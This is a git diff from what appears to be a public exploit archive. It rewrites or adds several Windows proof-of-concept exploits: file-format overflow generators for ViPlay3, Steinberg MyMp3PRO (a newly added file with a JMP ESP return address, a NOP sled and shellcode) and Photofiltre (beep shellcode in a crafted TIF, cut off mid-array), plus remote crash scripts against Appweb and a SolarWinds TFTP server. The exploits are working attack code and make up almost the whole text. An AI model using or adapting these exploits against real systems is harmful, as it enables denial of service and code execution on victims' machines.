--- a/platforms/windows/dos/8644.pl
+++ b/platforms/windows/dos/8644.pl
@@ -1,26 +1,26 @@
-#/usr/bin/perl
-#
-# ViPlay3 <= 3.00 (.vpl) Local Stack Overflow PoC
-#
-# Product web page: http://www.urusoft.net/
-# Tested on Microsoft Windows XP Professional SP3 (English)
-# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
-# liquidworm gmail com
-# http://www.zeroscience.org/
-# 08.05.2009
-
-$b= "[General]\r\n".
-    "Title=Proof of Concept\r\n".
-    "Author=LiquidWorm\r\n".
-    "Comments=2009\r\n".
-    "Version=1.0\r\n".
-    "[Files]\r\n";
-    "Count=800000\r\n".
-    "LastPlayed=0\r\n";
-$c= "1=" . "A" x 800000 . "\r\n";
-open a, ">./lqwrm.vpl";
-print a $b.$c;
-close a;
-print "\n- Done!\n";
-
-# milw0rm.com [2009-05-08]
+#/usr/bin/perl
+#
+# ViPlay3 <= 3.00 (.vpl) Local Stack Overflow PoC
+#
+# Product web page: http://www.urusoft.net/
+# Tested on Microsoft Windows XP Professional SP3 (English)
+# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
+# liquidworm gmail com
+# http://www.zeroscience.org/
+# 08.05.2009
+
+$b= "[General]\r\n".
+    "Title=Proof of Concept\r\n".
+    "Author=LiquidWorm\r\n".
+    "Comments=2009\r\n".
+    "Version=1.0\r\n".
+    "[Files]\r\n";
+    "Count=800000\r\n".
+    "LastPlayed=0\r\n";
+$c= "1=" . "A" x 800000 . "\r\n";
+open a, ">./lqwrm.vpl";
+print a $b.$c;
+close a;
+print "\n- Done!\n";
+
+# milw0rm.com [2009-05-08]
diff --git a/platforms/windows/dos/888.txt b/platforms/windows/dos/888.txt
index 59c3a6a9d..f149998fd 100755
--- a/platforms/windows/dos/888.txt
+++ b/platforms/windows/dos/888.txt
@@ -23,6 +23,6 @@ system($Ali7);
 
 ?>
  
-//end
-
-# milw0rm.com [2005-03-17]
+//end
+
+# milw0rm.com [2005-03-17]
diff --git a/platforms/windows/dos/9429.py b/platforms/windows/dos/9429.py
index 49334d789..294b53673 100755
--- a/platforms/windows/dos/9429.py
+++ b/platforms/windows/dos/9429.py
@@ -1,36 +1,36 @@
-#!/usr/bin/python
-############################################################################
-# 
-# EmbedThis Appweb v3.0B.2-4 Multiple Remote Buffer Overflow PoCs
-# Found By: Dr_IDE
-# Based On: http://www.milw0rm.com/exploits/9411
-# Tested On: XP SP2
-# Notes: These don't seem to actually take down the server, they cause
-# a fault in libappweb.dll.
-#
-############################################################################
-
-from socket import *
-
-# Seems like the server really doesn't like talking to us...
-# Anything you send seems to elicit the same crash from the server.
-
-#payload = ("\x41" * 10000 + " HTTP/1.1\r\n\r\n")
-#payload = "HEAD HTTP/1.1\r\n\r\n"
-#payload = "GET HTTP/1.1\r\n\r\n"
-#payload = "GET \r\n\r\n"
-#payload = "HEAD \r\n\r\n"
-payload = "\r\n\r\n"
-
-ip = raw_input(" [*] Enter the target IP: ")
-s = socket(AF_INET, SOCK_STREAM)
-s.connect((ip, 80))
-
-print " [*] Connecting to Target."
-s.send(payload)
-print " [*] Sending \"payload\"..."
-print " [*] Crash will pop up in a few seconds."
-s.close()
-raw_input(" [*] Done, press enter to quit")
-
-# milw0rm.com [2009-08-13]
+#!/usr/bin/python
+############################################################################
+# 
+# EmbedThis Appweb v3.0B.2-4 Multiple Remote Buffer Overflow PoCs
+# Found By: Dr_IDE
+# Based On: http://www.milw0rm.com/exploits/9411
+# Tested On: XP SP2
+# Notes: These don't seem to actually take down the server, they cause
+# a fault in libappweb.dll.
+#
+############################################################################
+
+from socket import *
+
+# Seems like the server really doesn't like talking to us...
+# Anything you send seems to elicit the same crash from the server.
+
+#payload = ("\x41" * 10000 + " HTTP/1.1\r\n\r\n")
+#payload = "HEAD HTTP/1.1\r\n\r\n"
+#payload = "GET HTTP/1.1\r\n\r\n"
+#payload = "GET \r\n\r\n"
+#payload = "HEAD \r\n\r\n"
+payload = "\r\n\r\n"
+
+ip = raw_input(" [*] Enter the target IP: ")
+s = socket(AF_INET, SOCK_STREAM)
+s.connect((ip, 80))
+
+print " [*] Connecting to Target."
+s.send(payload)
+print " [*] Sending \"payload\"..."
+print " [*] Crash will pop up in a few seconds."
+s.close()
+raw_input(" [*] Done, press enter to quit")
+
+# milw0rm.com [2009-08-13]
diff --git a/platforms/windows/dos/9547.pl b/platforms/windows/dos/9547.pl
index 1618d0fa0..0d512bfdd 100755
--- a/platforms/windows/dos/9547.pl
+++ b/platforms/windows/dos/9547.pl
@@ -1,19 +1,19 @@
-#!/usr/bin/perl
-# SolarWinds TFTP Server <=9.2.0.111 Remote DoS Exploit
-# by Gaurav Baruah
-# TFTP Server Service stops after payload
-# is sent, and has to be started again in Config
-# Tested on XP SP3
-# Big thnx: dragunov
-# Greetz: Sanjay
-
-use IO::Socket;
-$port = "69";
-$host = "127.0.0.1";
-$tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');
-$boom=
-"\x00\x06\x54\x9d\x68\x21\xde\x59\x30\x9a\x0b\xb5\xd4\x94\x94\x42\x3c\xeb\xc5".
-"\xc1\xe8\x7d\x31\x34\xee\xd8\x60\x41\x8f\x92\x25\x9c\x5c\xcc\x78\x6a";
-$tftpudp->send($boom);
-
-# milw0rm.com [2009-08-31]
+#!/usr/bin/perl
+# SolarWinds TFTP Server <=9.2.0.111 Remote DoS Exploit
+# by Gaurav Baruah
+# TFTP Server Service stops after payload
+# is sent, and has to be started again in Config
+# Tested on XP SP3
+# Big thnx: dragunov
+# Greetz: Sanjay
+
+use IO::Socket;
+$port = "69";
+$host = "127.0.0.1";
+$tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');
+$boom=
+"\x00\x06\x54\x9d\x68\x21\xde\x59\x30\x9a\x0b\xb5\xd4\x94\x94\x42\x3c\xeb\xc5".
+"\xc1\xe8\x7d\x31\x34\xee\xd8\x60\x41\x8f\x92\x25\x9c\x5c\xcc\x78\x6a";
+$tftpudp->send($boom);
+
+# milw0rm.com [2009-08-31]
diff --git a/platforms/windows/local/30014.py b/platforms/windows/local/30014.py
index 670df76f0..b5a0dae6b 100755
--- a/platforms/windows/local/30014.py
+++ b/platforms/windows/local/30014.py
@@ -1,6 +1,7 @@
 # NDPROXY Local SYSTEM privilege escalation
 # http://www.offensive-security.com
 # Tested on Windows XP SP3
+# http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/
 
 
 # Original crash ... null pointer dereference
diff --git a/platforms/windows/local/30032.rb b/platforms/windows/local/30032.rb
new file mode 100755
index 000000000..b25a743c1
--- /dev/null
+++ b/platforms/windows/local/30032.rb
@@ -0,0 +1,34 @@
+#!/usr/bin/ruby
+print '''
+         
+        Steinberg MyMp3PRO v5.0 Buffer Overflow
+        Version: 5.0 Build 5.1.0.21
+        Date found: 04.12.2013
+        Exploit Author: metacom
+        Tested on:XP-Sp3-EN
+'''
+sleep(3)
+junk="\x41" * 1044
+eip=[0x7C86467B].pack('V')#7C86467B  FFE4 JMP ESP kernel32.dll
+nops="\x90" * 100 # landing zone
+shellcode=("\xba\x50\x3e\xf5\xa5\xda\xd7\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"+
+"\x33\x83\xc3\x04\x31\x53\x0e\x03\x03\x30\x17\x50\x5f\xa4\x5e"+
+"\x9b\x9f\x35\x01\x15\x7a\x04\x13\x41\x0f\x35\xa3\x01\x5d\xb6"+
+"\x48\x47\x75\x4d\x3c\x40\x7a\xe6\x8b\xb6\xb5\xf7\x3d\x77\x19"+
+"\x3b\x5f\x0b\x63\x68\xbf\x32\xac\x7d\xbe\x73\xd0\x8e\x92\x2c"+
+"\x9f\x3d\x03\x58\xdd\xfd\x22\x8e\x6a\xbd\x5c\xab\xac\x4a\xd7"+ # Calc
+"\xb2\xfc\xe3\x6c\xfc\xe4\x88\x2b\xdd\x15\x5c\x28\x21\x5c\xe9"+ # \x00\x0a\x0d
+"\x9b\xd1\x5f\x3b\xd2\x1a\x6e\x03\xb9\x24\x5f\x8e\xc3\x61\x67"+
+"\x71\xb6\x99\x94\x0c\xc1\x59\xe7\xca\x44\x7c\x4f\x98\xff\xa4"+
+"\x6e\x4d\x99\x2f\x7c\x3a\xed\x68\x60\xbd\x22\x03\x9c\x36\xc5"+
+"\xc4\x15\x0c\xe2\xc0\x7e\xd6\x8b\x51\xda\xb9\xb4\x82\x82\x66"+
+"\x11\xc8\x20\x72\x23\x93\x2e\x85\xa1\xa9\x17\x85\xb9\xb1\x37"+
+"\xee\x88\x3a\xd8\x69\x15\xe9\x9d\x86\x5f\xb0\xb7\x0e\x06\x20"+
+"\x8a\x52\xb9\x9e\xc8\x6a\x3a\x2b\xb0\x88\x22\x5e\xb5\xd5\xe4"+
+"\xb2\xc7\x46\x81\xb4\x74\x66\x80\xd6\x1b\xf4\x48\x37\xbe\x7c"+
+"\xea\x47")
+buffer=junk + eip + nops + shellcode
+File.open('BOF_Steinberg_MyMp3PRO_v5.m3u', 'w') do |bug|  
+bug.puts (buffer)
+bug.close()
+end
\ No newline at end of file
diff --git a/platforms/windows/local/3772.c b/platforms/windows/local/3772.c
index c75389dbb..1d2abdc09 100755
--- a/platforms/windows/local/3772.c
+++ b/platforms/windows/local/3772.c
@@ -1,150 +1,150 @@
-/********************************************************************************
-*                                                                               *
-*            Photofiltre Studio v8.1.1 .TIF File Buffer Overflow                *
-*                                                                               *
-*                                                                               *
-* Photofiltre is vulnerable to an unspecified buffer overflow when processing a *
-* crafted .TIF file.                                                            *
-* This exploit just beeps (useless but incredibly noisy!!).                     *
-*                                                                               *
-* Tested against Win XP SP2 FR.                                                 *
-* Have Fun!                                                                     *
-*                                                                               *
-* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                    *
-********************************************************************************/
-
-#include "stdio.h"
-#include "stdlib.h"
-
-// Beep Shellcode, made by xnull
-// Woaw this is very ... Hum try it!
-unsigned char beepsp2[] =
-"\x55\x89\xE5\x83\xEC\x18\xC7\x45\xFC"
-"\x77\x7A\x83\x7C"                      //Address \x77\x7A\x83\x7C = SP2
-"\xC7\x44\x24\x04"
-"\xD0\x03"                              //Length \xD0\x03 = 2000 (2 seconds)
-"\x00\x00\xC7\x04\x24"
-"\x01\x0E"                              //Frequency \x01\x0E = 3585
-"\x00\x00\x8B\x45\xFC\xFF\xD0\xC9\xC3";
-
-char tif_file_part1[] =
-"\x49\x49\x2a\x00\x08\x00\x00\x00\x17\x00\xfe\x00\x04\x00\x01\x00"
-"\x00\x00\x02\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\xfd\x01"
-"\x00\x00\x01\x01\x04\x00\x01\x00\x00\x00\xb6\x01\x00\x00\x02\x01"
-"\x03\x00\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00\x83\x00"
-"\x00\x00\x05\x00\x00\x00\x06\x01\x03\x00\x01\x00\x00\x00\x03\x00"
-"\x00\x00\x0a\x01\xb6\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01"
-"\x04\x00\x37\x00\x00\x00\x22\x01\x00\x00\x12\x01\x03\x00\x01\x00"
-"\x00\x00\x01\x00\x00\x00\x15\x01\x03\x00\x01\x00\x00\x00\x01\x00"
-"\x00\x00\x16\x01\x03\x00\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01"
-"\x04\x00\x37\x00\x00\x00\xfe\x01\x00\x00\x1a\x01\x05\x00\x01\x00"
-"\x00\x00\xda\x02\x00\x00\x1b\x01\x05\x00\x01\x00\x00\x00\xe2\x02"
-"\x00\x00\x1c\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x28\x01"
-"\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x29\x01\x03\x00\x02\x00"
-"\x00\x00\x00\x00\x01\x00\x31\x01\x02\x44\x43\x42\x41\x45\x45\x45"
-"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
-"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
-"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
-"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
-"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
-"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x46\x46\x46\x46\x46"
-"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46"
-"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46"
-"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46"
-"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46"
-"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
-"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
-"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
-"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
-"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
-"\x47\x47\x47\x47\x47\x47\x47\x48\x48\x48\x48\x48\x48\x48\x48\x48"
-"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
-"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
-"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
-"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
-"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
-"\x48\x48\x48\x48\x48\x48\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49"
-"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
-"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
-"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
-"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
-"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
-"\x49\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
-"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
-"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
-"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
-"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
-"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
-"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
-"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
-"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
-"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
-"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
-"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
-"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
-"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
-"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
-"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
-"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
-"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
-"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
-"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
-"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
-"\x4c\x4c\x4c\x4c\x4c\x4c\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
-"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
-"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
-"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
-"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
-"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
-"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
-"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
-"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
-"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
-"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
-"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4f\x4f\x4f\x4f\x4f"
-"\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x92\x00\x92"
-"\x00\x96\x00\x00\x00\x00\x00\xaf\x00\x12\x00\x00\x00\x92\x00\x49"
-"\x00\x12\x00\x92\x00\xaf\x00\x92\x00\x49\x00\x49\x00\x49\x00\x58"
-"\x00\xaf\x00\x12\x00\x58\x00\x00\x00\x80\x00\x00\x00\x57\x00\x12"
-"\x00\x5a\x00\x12\x00\x00\x00\x00\x00\x28\x00\x12\x00\x00\x00\x46"
-"\x00\xfd\x00\xd5\x00\x1b\x00\xff\x00\xef\x00\xa9\x00\xd9\x00\x00"
-"\x00\x70\x00\x6c\x00\xfa\x00\x99\x00\xc5\x00\xf7\x00\xb4\x00\x48"
-"\x00\xab\x00\xe9\x00\xde\x00\x1b\x00\xff\x00\xd7\x00\x64\x00\xa9"
-"\x00\xd9\x00\x6e\x00\x68\x00\x70\x00\x92\x00\xcc\x00\xf2\x00\x99"
-"\x00\x94\x00\xe9\x00\xad\x00\xb4\x00\x4b\x00\xc9\x00\x85\x00\xe9"
-"\x00\xe5\x00\xb4\x00\x80\x00\x98\x00\x8c\x00\xe0\x00\xc4\x00\x33"
-;
-
-int main(int argc, char* argv[])
-{
-	FILE* tiffile;
-	char evilbuff[5000];
-	int offset=0;
-
-	printf("[+] Photofiltre Studio v8.1.1 .TIF File Buffer Overflow\n");
-	printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
-	if (argc!=2) {
-		printf("[+] Usage: %s <file.ttf>\n",argv[0]);
-		return 0;
-	}
-
-	memcpy(evilbuff,tif_file_part1,sizeof(tif_file_part1)-1);
-	offset=0xd5;
-	memcpy(evilbuff+offset,"\x43\x43\xeb\x05\x8c\x08\xfc\x7f\x43",9); //pop pop ret in ??? + jump over EIP
-	memcpy(evilbuff+offset+9,beepsp2,sizeof(beepsp2)-1);
-
-	printf("[+] tif_file_part2 patched!\n");
-	
-	if ((tiffile=fopen(argv[1],"wb"))==0) {
-		printf("[-] Unable to access file.\n");
-		return 0;
-	}
-	
-	fwrite( evilbuff, 1, 1360, tiffile );
-	fclose(tiffile);
-	printf("[+] Done. Have fun!\n");
-	return 0;
-	
-}
-
-// milw0rm.com [2007-04-21]
+/********************************************************************************
+*                                                                               *
+*            Photofiltre Studio v8.1.1 .TIF File Buffer Overflow                *
+*                                                                               *
+*                                                                               *
+* Photofiltre is vulnerable to an unspecified buffer overflow when processing a *
+* crafted .TIF file.                                                            *
+* This exploit just beeps (useless but incredibly noisy!!).                     *
+*                                                                               *
+* Tested against Win XP SP2 FR.                                                 *
+* Have Fun!                                                                     *
+*                                                                               *
+* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                    *
+********************************************************************************/
+
+#include "stdio.h"
+#include "stdlib.h"
+
+// Beep Shellcode, made by xnull
+// Woaw this is very ... Hum try it!
+unsigned char beepsp2[] =
+"\x55\x89\xE5\x83\xEC\x18\xC7\x45\xFC"
+"\x77\x7A\x83\x7C"                      //Address \x77\x7A\x83\x7C = SP2
+"\xC7\x44\x24\x04"
+"\xD0\x03"                              //Length \xD0\x03 = 2000 (2 seconds)
+"\x00\x00\xC7\x04\x24"
+"\x01\x0E"                              //Frequency \x01\x0E = 3585
+"\x00\x00\x8B\x45\xFC\xFF\xD0\xC9\xC3";
+
+char tif_file_part1[] =
+"\x49\x49\x2a\x00\x08\x00\x00\x00\x17\x00\xfe\x00\x04\x00\x01\x00"
+"\x00\x00\x02\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\xfd\x01"
+"\x00\x00\x01\x01\x04\x00\x01\x00\x00\x00\xb6\x01\x00\x00\x02\x01"
+"\x03\x00\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00\x83\x00"
+"\x00\x00\x05\x00\x00\x00\x06\x01\x03\x00\x01\x00\x00\x00\x03\x00"
+"\x00\x00\x0a\x01\xb6\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01"
+"\x04\x00\x37\x00\x00\x00\x22\x01\x00\x00\x12\x01\x03\x00\x01\x00"
+"\x00\x00\x01\x00\x00\x00\x15\x01\x03\x00\x01\x00\x00\x00\x01\x00"
+"\x00\x00\x16\x01\x03\x00\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01"
+"\x04\x00\x37\x00\x00\x00\xfe\x01\x00\x00\x1a\x01\x05\x00\x01\x00"
+"\x00\x00\xda\x02\x00\x00\x1b\x01\x05\x00\x01\x00\x00\x00\xe2\x02"
+"\x00\x00\x1c\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x28\x01"
+"\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x29\x01\x03\x00\x02\x00"
+"\x00\x00\x00\x00\x01\x00\x31\x01\x02\x44\x43\x42\x41\x45\x45\x45"
+"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
+"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
+"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
+"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
+"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45"
+"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x46\x46\x46\x46\x46"
+"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46"
+"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46"
+"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46"
+"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46"
+"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
+"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
+"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
+"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
+"\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47\x47"
+"\x47\x47\x47\x47\x47\x47\x47\x48\x48\x48\x48\x48\x48\x48\x48\x48"
+"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
+"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
+"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
+"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
+"\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48\x48"
+"\x48\x48\x48\x48\x48\x48\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+"\x49\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
+"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
+"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
+"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
+"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
+"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
+"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
+"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
+"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
+"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
+"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
+"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
+"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
+"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
+"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
+"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
+"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
+"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
+"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
+"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
+"\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c"
